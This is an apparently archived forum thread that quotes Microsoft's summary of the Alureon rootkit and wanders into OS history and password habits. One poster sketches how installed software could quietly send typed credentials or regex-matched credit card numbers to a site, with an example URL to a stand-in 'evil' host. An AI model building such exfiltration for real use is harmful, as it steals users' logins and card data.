COMPUTER " TROJAN:Win32/Alureon.A"; or, The ROOTKIT MALWARE You Don't Even Know You Have.

http://www.microsoft.com/security ^ | Updated: Dec 16, 2009 | Microsoft

[Yosemitest]

Summary

Trojan:Win32/Alureon.A is a data-stealing trojan. This trojan allows an attacker to intercept incoming and outgoing Internet traffic in order to gather confidential information such as user names, passwords, and credit card data. Trojan:Win32/Alureon.A may also allow an attacker to transmit malicious data to the infected computer. The trojan may modify DNS settings on the host computer to enable the attacker to perform these tasks. Therefore it may be necessary to reconfigure DNS settings after Trojan:Win32/Alureon.A is removed from the computer.

Microsoft MalWare Protection Center has more info.

[driftdiver]

The post I was replying to indicated the mac OS was developed in the 90s.

[sionnsar]

ping

[antiRepublicrat]

The post I was replying to indicated the mac OS was developed in the 90s.

FreeBSD was developed in the 90s, based on the 386BSD port of BSD, which was started in the late 80s, released in the early 90s. OS X itself, as a whole, was developed in the 90s, but as you know based on those previous technologies.

[antiRepublicrat]

That said, while the IO architecture of WinNT shows VMS parentage, the security aspects of VMS were almost all left behind. VMS had real security. Windows has very little of any of VMS’ security architecture, and the results show this.

This could be due to the fact that mid-way through production Bill Gates did a "stop the presses" and had Cutler dump the APIs meant for NT and make a 32-bit version of the Windows 3.1 APIs to run on NT instead.

[antiRepublicrat]

Easiest way to say it: Modern x86 is a RISC chip with a CISC front-end.

[A CA Guy]

Somebody out there will come up with a little program to remove that soon for free I am sure.

[EdReform]

bookmark

[driftdiver]

so as i said the genesis was in the 60s. thank you

[mad_as_he$$]

bttt

[ErnBatavia]

Thank you! When I got this new Win 7 computer and reinstalled CC, I neglected to note what I'd had on the old clunker.

Much appreciated...

[ErnBatavia]

UNCHECK the top box "Only delete files in Windows Temp older than 24 hours"

Arrrgh...did that, ran it, and all my logins are gone!

[GOPJ]

The mac folks think this is not possible and their O/S protects them from it when it has nothing whatsoever to do with the O/S. A user clicks Ok and their system is mine.

Why do I get this terrible feeling that you know what you're talking about - and that you're right on this issue?

[Yosemitest]

Would it be too dubious to wonder if...

Microsoft was intentionally trying to destroy XP and Vista,
in order to sell Windows 7?

[Yosemitest]

That's why you NEVER save your log-ins and passwords,
but ALWAYS do them from the memory between your ears.

[GOPJ]

I’m with you - I never save a password... between the ears seems to work just fine...

[wireplay]

I have never done malicious stuff on a machine. I am insured for $5M so that I WON’T do stuff like that.

Whenever a piece of software is run on a system, we have events that happen. An event is stuff like mouse move, mouse hover, form close, form closing, form initialized, etc. About 100 events on a Windows form. Same is true of Linux or Macs because computing is computing. The old days didn’t work like that but let’s ignore it for now.

Any event can be wired to do anything. Hence, I could wire an event to pass your credentials to a website.

Take a simple example:

http://www.myevilwebsite.com?runProgram=getUserId;uid=****;pw=****

Whenever you open up a form and start typing, I can wire up the Ok and Cancel button events, call the above website, and pass in whatever I wanted to to the cgi parms at the end. Calling a website would happen without you ever seeing a web browser and without you ever knowing. You could use a network sniffer like Fiddler but you wouldn’t check that. End users understand the web as a browser when it isn’t.

I can also hide everything from you through encryption so that you couldn’t even discern it if you wanted to.

Basically, computers operate 100% on trust and numbers. If you trust my app, the system can belong to me. People can scream all day long about Windows, Linux, and Macs but you click ok and game on.

People worry about viruses but it is the click to installthat is an issue. I could have you hover over an app, detect the hover, automatically scan your machine for all numbers on it that meet a credit card regex, then send them to a website. That is a very simple exploit and would take me around 1 hour to code. And the worst part is that there is absolutely nothing you can do to stop it ONCE the malware is introduced.

[wireplay]

Windows XP to Vista was a shift from the CPU to the GPU for graphics That was a major change. Vista was an interim base when Win 7 was the intended point. Vista cost Jim Allchin his job. Win 7 was what should have been post-XP.

[wireplay]

When you type a password on a computer, it is known by the program you are typing on. Just because you don’t see it due to the asterisks, the program getting the password does know what is in it. There are exceptions but work with that assumption.

Hence, if I pop you a dialogue that says username/password, I can capture all you type.

[DollyCali]

BTTT

[A CA Guy]

Don't think MS is planting bugs, because all the new little notebooks like the (Lenovo S10) seem to run on XP rather than newer software for quicker output.
Can't see MS sabotaging that IMO.